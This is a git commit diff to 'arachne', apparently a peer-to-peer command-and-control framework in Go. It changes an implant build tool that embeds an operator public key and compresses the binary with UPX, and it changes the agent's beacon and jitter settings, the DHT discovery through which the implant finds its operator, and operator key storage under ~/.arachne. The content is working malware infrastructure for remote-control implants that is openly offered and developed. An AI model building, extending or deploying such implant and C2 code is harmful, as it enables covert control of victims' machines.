Store keys in ~/.arachne/, remove non-embedded implant, fix DHT advertise wait, suppress routing table spam

This commit is contained in:
portbuster
2026-06-03 02:41:01 +08:00
parent 58138a3225
commit fa387ba5fd
8 changed files with 97 additions and 57 deletions
Binary file not shown.
+20 -7
View File
@@ -10,14 +10,18 @@ import (
)
func main() {
if len(os.Args) < 2 {
log.Fatalf("usage: build-implant <operator.pub> [output-path]")
}
pubPath := defaultPubKeyPath()
outputPath := "bin/implant"
pubPath := os.Args[1]
outputPath := "arachne-implant"
if len(os.Args) > 2 {
switch len(os.Args) {
case 1:
case 2:
pubPath = os.Args[1]
case 3:
pubPath = os.Args[1]
outputPath = os.Args[2]
default:
log.Fatalf("usage: build-implant [<operator.pub>] [<output-path>]")
}
data, err := os.ReadFile(pubPath)
if err != nil {
@@ -47,7 +51,7 @@ var embeddedOperatorPubKey = %s
}
log.Printf("wrote %s (%d bytes embedded)", genPath, len(data))
outPath := outputPath
outPath := filepath.Join(root, outputPath)
goBinary := "go"
if goroot := os.Getenv("GOROOT"); goroot != "" {
@@ -67,6 +71,7 @@ var embeddedOperatorPubKey = %s
if upxPath, err := exec.LookPath("upx"); err == nil {
upx := exec.Command(upxPath, "--best", "--lzma", outPath)
upx.Dir = root
upx.Stdout = os.Stdout
upx.Stderr = os.Stderr
if err := upx.Run(); err != nil {
@@ -77,6 +82,14 @@ var embeddedOperatorPubKey = %s
}
}
func defaultPubKeyPath() string {
home, err := os.UserHomeDir()
if err != nil {
return "operator.pub"
}
return filepath.Join(home, ".arachne", "operator.pub")
}
func findProjectRoot() (string, error) {
dir, err := os.Getwd()
if err != nil {
+14 -20
View File
@@ -33,7 +33,6 @@ type Agent struct {
}
type AgentConfig struct {
OperatorKeyFile string
OperatorAddr string
BeaconInterval time.Duration
BeaconJitter time.Duration
@@ -43,28 +42,23 @@ type AgentConfig struct {
func DefaultAgentConfig() AgentConfig {
return AgentConfig{
OperatorKeyFile: "operator.pub",
BeaconInterval: 10 * time.Second,
BeaconJitter: 5 * time.Second,
ReconnectBackoff: 5 * time.Second,
}
}
func loadOperatorPubKey(cfg AgentConfig) (crypto.PubKey, error) {
if len(embeddedOperatorPubKey) > 0 {
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
func loadOperatorPubKey() (crypto.PubKey, error) {
if len(embeddedOperatorPubKey) == 0 {
return nil, fmt.Errorf("no embedded operator public key — rebuild with build-implant tool")
}
pubKeyData, err := os.ReadFile(cfg.OperatorKeyFile)
if err != nil {
return nil, fmt.Errorf("read operator key %s: %w", cfg.OperatorKeyFile, err)
}
return cryptography.PubKeyFromBytes(pubKeyData)
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
}
func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
ctx, cancel := context.WithCancel(ctx)
operatorPub, err := loadOperatorPubKey(cfg)
operatorPub, err := loadOperatorPubKey()
if err != nil {
cancel()
return nil, fmt.Errorf("load operator pubkey: %w", err)
@@ -151,17 +145,17 @@ func (a *Agent) Start() error {
func (a *Agent) discoverOperatorLoop(ns string) {
log.Printf("[implant] DHT discovery started for: %s", ns)
for {
if a.node.DHT == nil || len(a.node.DHT.RoutingTable().ListPeers()) == 0 {
log.Printf("[implant] DHT routing table empty, waiting for bootstrap...")
select {
case <-a.ctx.Done():
return
case <-time.After(5 * time.Second):
}
continue
for a.node.DHT == nil || a.node.DHT.RoutingTable().Size() == 0 {
log.Printf("[implant] DHT routing table empty, waiting for bootstrap...")
select {
case <-a.ctx.Done():
return
case <-time.After(2 * time.Second):
}
}
log.Printf("[implant] DHT routing table has %d peers, querying for operator", a.node.DHT.RoutingTable().Size())
for {
log.Printf("[implant] querying DHT for operator...")
peerCh, err := a.node.FindPeers(a.ctx, ns)
if err != nil {
-3
View File
@@ -1,3 +0,0 @@
package core
var embeddedOperatorPubKey = []byte(" åkR¹ì¶‰¥B2tA^àQ¥ 7'¥:t´ Büõ’")
+5
View File
@@ -7,6 +7,7 @@ import (
"fmt"
"io"
"os"
"path/filepath"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
@@ -148,6 +149,10 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
return nil, fmt.Errorf("marshal key: %w", err)
}
if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil {
return nil, fmt.Errorf("create key directory: %w", err)
}
if err := os.WriteFile(path, marshaled, 0600); err != nil {
return nil, fmt.Errorf("write key to %s: %w", path, err)
}
+3
View File
@@ -3,6 +3,7 @@ package transport
import (
"context"
"fmt"
"log"
"strings"
"sync"
"time"
@@ -171,10 +172,12 @@ func (n *Node) StartDiscovery() error {
for _, pi := range n.config.BootstrapPeers {
connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second)
if err := n.Host.Connect(connectCtx, pi); err != nil {
log.Printf("[discovery] bootstrap %s: %v", pi.ID.String(), err)
cancel()
continue
}
cancel()
log.Printf("[discovery] connected to bootstrap: %s", pi.ID.String())
}
}()
+35 -13
View File
@@ -5,6 +5,7 @@ import (
"fmt"
"log"
"os"
"strings"
"sync"
"time"
@@ -95,21 +96,42 @@ func (o *Operator) Start() error {
return fmt.Errorf("discovery: %w", err)
}
ns := o.messenger.RendezvousString()
if o.node.DHT != nil {
log.Printf("[operator] advertising on DHT rendezvous: %s", ns)
go func() {
for {
if err := o.node.Advertise(o.ctx, ns); err != nil {
log.Printf("[operator] advertise: %v", err)
ns := o.messenger.RendezvousString()
if o.node.DHT != nil {
log.Printf("[operator] advertising on DHT rendezvous: %s", ns)
go func() {
for o.node.DHT.RoutingTable().Size() == 0 {
select {
case <-o.ctx.Done():
return
case <-time.After(2 * time.Second):
}
}
select {
case <-o.ctx.Done():
return
case <-time.After(30 * time.Second):
log.Printf("[operator] DHT routing table has %d peers, starting advertise", o.node.DHT.RoutingTable().Size())
for {
if err := o.node.Advertise(o.ctx, ns); err != nil {
if !strings.Contains(err.Error(), "failed to find any peer") {
log.Printf("[operator] advertise: %v", err)
}
} else {
break
}
select {
case <-o.ctx.Done():
return
case <-time.After(10 * time.Second):
}
}
}
}()
log.Printf("[operator] advertise succeeded on %s", ns)
for {
o.node.Advertise(o.ctx, ns)
select {
case <-o.ctx.Done():
return
case <-time.After(30 * time.Second):
}
}
}()
go o.discoverPeersLoop(ns)
}
+20 -14
View File
@@ -12,16 +12,22 @@ import (
)
func Run(relayAddrs []string) error {
if err := os.MkdirAll(arachneDir(), 0700); err != nil {
return fmt.Errorf("create arachne directory: %w", err)
}
keys, err := cryptography.LoadOrGenerateOperatorKey(keyPath())
if err != nil {
return fmt.Errorf("load operator key: %w", err)
}
pubPath := pubKeyPath()
pubBytes, err := crypto.MarshalPublicKey(keys.PublicKey)
if err == nil {
if err := os.WriteFile(pubPath, pubBytes, 0644); err == nil {
log.Printf("[operator] public key exported: %s", pubPath)
if _, err := os.Stat(pubPath); os.IsNotExist(err) {
pubBytes, err := crypto.MarshalPublicKey(keys.PublicKey)
if err == nil {
if err := os.WriteFile(pubPath, pubBytes, 0644); err == nil {
log.Printf("[operator] public key exported: %s", pubPath)
}
}
}
@@ -44,18 +50,18 @@ func Run(relayAddrs []string) error {
return nil
}
func keyPath() string {
exe, err := os.Executable()
if err == nil {
return filepath.Join(filepath.Dir(exe), "operator.key")
func arachneDir() string {
home, err := os.UserHomeDir()
if err != nil {
return ".arachne"
}
return "operator.key"
return filepath.Join(home, ".arachne")
}
func keyPath() string {
return filepath.Join(arachneDir(), "operator.key")
}
func pubKeyPath() string {
exe, err := os.Executable()
if err == nil {
return filepath.Join(filepath.Dir(exe), "operator.pub")
}
return "operator.pub"
return filepath.Join(arachneDir(), "operator.pub")
}